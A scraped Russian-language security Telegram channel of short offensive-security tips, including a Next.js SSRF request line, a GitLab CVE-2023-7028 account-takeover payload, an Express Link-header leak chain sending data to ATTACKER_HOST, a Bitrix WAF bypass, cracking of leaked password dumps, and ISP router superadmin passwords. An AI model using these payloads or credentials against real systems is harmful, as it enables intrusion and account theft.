Кавычка

#OSINT #SSHВспомнил тут про старый трюк, можно тестануть:ssh whoami.filippo.ioКороч, когда ты подключаешься по ssh, твой ssh-agent перебирает всеми ключами, которые у тебя в него подключены.Это может привести к прикольной деанонимизации, если на стороне сервера включено логирование ssh ключей, которыми пытались подключиться.Ключики можно собирать как на гитхабе:https://github.com/Oleg.keysТак и на гитлабе:https://gitlab.com/Nikita.keysВсякие энтузиасты собирают собственные базы забавы ради, думаю есть и те, которые делают это для расследований инцидентов после компрометации и вот этого всего.[1], [2], [3]>

В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допустим, есть у нас site.kek, а ты нашел уязвимость на subdomain.site.kekЧто может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя?Штош, импакт такой:- Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb- CORS на других сайтах компании, в том числе сам site.kek может принимать Origin: subdomain.site.kek, а это значит можно выполнять действия от лица пользователя.- В дополнение к предыдущему - обходится механизм SameSite- Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать.Может что-то еще?>

Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать под их поисковую выдачу, рекомендую такой дефолтный конфиг для nginx:server { listen 80 default_server; listen 443 ssl http2 default_server; # Если есть IPv6 listen [::]:80 default_server; listen [::]:443 ssl http2 default_server; ssl_reject_handshake on; server_name _; location / { return 444; }}Че тут делаем? Слушаем 80 и 443 на ipv4 и ipv6.Для 443 откланяем все операции SSL handshake, если имя сервера отлично от тех, что есть в других конфигах.И если соединение установить удалось (и для 80 порта) - рвем его (ответ 444 обладает такой фичей).>

#firebaseКороч. Встречали firebase на страницах? Обычно это подключение js-ника и конфиг видаfirebase.initializeApp({ apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=", authDomain: "blablabla" ...});Иногда это используется для заявок, фидбэков и вот этого всего. И если его неправильно готовят, то на нем можно зарегистрироваться через signupNewUser (тыц) и получить доступ к данным, которые собирали сотрудники (в моем случае это было через Firestore).Только как имя базы узнать я не знаю, в моем случае оно тоже светилось в файлах фронта, но может в комментах подскажут.Еще надо попробовать pyfireconnect и python-firebaseSavik поресерчил эту тему и сделал скрипт, который проверяет что доступно по данным Firebase.Если есть api_key и project_id, то уже можно тыкаться по Realtime Database, Firestore, Storage.>

#OpenAPI #SwaggerКороч, в extentions для burp suite есть OpenAPI Parser, это штука, которая позволяет брать всякие swagger.json, превращать их в запросы, сканить и вот это все.Какая с ним проблема. Он не умеет работать с третьей спекой. Валится и все тут.Выход - сконвертировать в OAS 2.0У меня был огромный swagger и классический editor.swagger.io не смог его прожувать и вкладка зависала. Но есть замечательный API Spec Converter, суем в него спеку 3 версии, конвертим в 2, загружаем в burp.Единственное, в json надо добавить "host": "api.someshit.io", "basePath": "/", "schemes": [ "https", "http" ],после info в файле, и спарсится все отлично.>

Доступ в двойную кавычкуПодключи подписку - и получи доступ к контенту раньше, чем будет его публикация, к щепотке уникального контента и чату без цензуры.Твой вклад помогает развивать этот канал и делать его лучше 💣

Есть такая штука nextjs, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт.Собственно именно это место нас и интересует. В HTTP есть такой метод PRI (используются, если мне не изменяет память, чтобы проверить возможность HTTP/2 подключения). Нас интересует что запросы этого метода имеют cимвол * в пути, вместо привычного /.PRI * HTTP/1.1.Далее, все http-парcеры работают по разному, у nodejs он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080 будет разобран как: hostname: 127.0.0.1, port: 8080, auth: example.com:3456*,А самое важное тут то, что http-парсер nodejs считает валидными запросы вида:GET *@127.0.0.1/ HTTP/1.1Host: somehostА знаете кто еще так делает - haproxy!Ну и последнее: код который формирует url для проксирования внутрь nextjs выглядит так:const targetUrl = `http://${ targetHost === 'localhost' ? '127.0.0.1' : targetHost}:${routerPort}${pathname}`Собственно, т.к. мы контролируем pathname - мы можем отправить запрос вида:GET *@127.0.0.1:11211 HTTP/1.1Host: someи запрос уйдет напрямую в memcached, получаем SSRF.Но что более важное - это SSRF с возможностью чтения ответа: если внутри, в инфре, есть приватная веб-морда, мы можем спокойно обращаться к ней, как будь то бы она торчит наружу.Уязвимые версии:>= 13.3.0 | <=13.4.12фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true в конфигурации experimental.Из интересного: vercel отказал в CVE, так как не считает что это уязвимость (на момент репорта уязвимость воспроизводилась в последних версиях). Однако с версии 13.4.13 изменили код. Теперь в части внутренних запросов используется fetch. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие автори

Быстро и дешево брутим хэшиКороч, есть чуваки такие, immers.cloudПо сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто.Тут есть два варианта развития событий. Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа:sudo apt-get updatesudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -yhttps://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.runchmod +x NVIDIA-Linux-x86_64-470.63.01.runsudo ./NVIDIA-Linux-x86_64-470.63.01.runУстанавливаем hashcat и играемся с этим всем.Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20? В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.>

Роскомнадзор будет блокировать сайты с информацией об обходе блокировокА пока не блокирует - просили рассказать))Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги.Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux.Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера.Сверху поставил изичный wireguardКачаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься.Что имеем:* защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM* рос-четтам-надзор не блокирует wireguard соединения в рамках РФ* открываются всякие фэйсбуки инстаграмы* открываются банки и госуслуги>

#gitlabЗабавная логическая уязвимость в Gitlab - CVE-2023-7028Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.PoC:user[email][]=valid@email.com&user[email][]=attacker@email.comДля проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.>

Интересный вектор Client-Side атакиМногие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.Потому что links внутри express написана так:res.links = function(links){ var link = this.get('Link') || ''; if (link) link += ', '; return this.set('Link', link + Object.keys(links).map(function(rel){ return '<' + links[rel] + '>; rel="' + rel + '"'; }).join(', '));};Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответыСледовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'овПример с реального уязвимого сайта выглядит как-то так:https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",Так что полный чейн выглядит так:1. Направляем пользователя на наш сайт2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс3. По отстукам на хост понимаем результаты поиска на странице пользователяРазработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )>

Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания).Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее.>

#bitrix #phpВ PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin//pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin//pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/PoC>

Метод TRACEПомимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров. Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.Но не так давно прочитал забавности, что метод можно переопределить черезGET /path.html?_method=TRACE HTTP/1.1или заголовок_method: TRACE>

Роутер от провайдераДля меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".В моем случае, в роутере от МГТС, был следующий root:mgts;mtsoaoНа Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:telecomadmin;admintelecomtelecomadmin;NWTF5x%RaK8mVbDtelecomadmin;NWTF5x%telecomadmin;nE7jA%5m